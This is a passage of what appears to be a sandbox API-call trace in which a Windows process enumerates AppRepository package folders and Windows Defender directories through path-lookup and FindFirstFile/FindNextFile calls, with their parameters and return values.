Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0222.169] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0222.169] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0222.170] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0222.174] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0222.175] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0222.175] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0222.176] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0222.195] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.196] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0222.196] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.197] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0222.206] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.206] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0222.206] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.207] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0222.378] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.380] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0222.380] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.381] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0222.385] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.385] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x76 [0222.386] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe") returned 0x76 [0222.386] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_2019.6.13251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x77 [0226.173] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0226.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0226.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0226.179] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc360) returned 1 [0226.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bc320) returned 1 [0226.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store", lpFilePart=0x0) returned 0x39 [0226.181] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\clean store\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0226.182] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.182] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.182] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0226.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.183] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store", lpFilePart=0x0) returned 0x39 [0226.183] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\clean store\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0226.183] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.183] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0226.184] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0226.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.184] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates", lpFilePart=0x0) returned 0x40 [0226.184] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.184] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.185] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0226.185] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0226.185] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0226.185] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0226.185] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 0 [0226.185] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0226.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0226.186] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates", lpFilePart=0x0) returned 0x40 [0226.186] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4390 [0226.186] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.186] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0226.186] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0226.187] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0226.187] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0226.187] FindNextFileW (in: hFindFile=0x1d1f4390, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.187] FindClose (in: hFindFile=0x1d1f4390 | out: hFindFile=0x1d1f4390) returned 1 [0226.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.187] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup", lpFilePart=0x0) returned 0x47 [0226.187] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0226.191] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.191] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd525f5, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 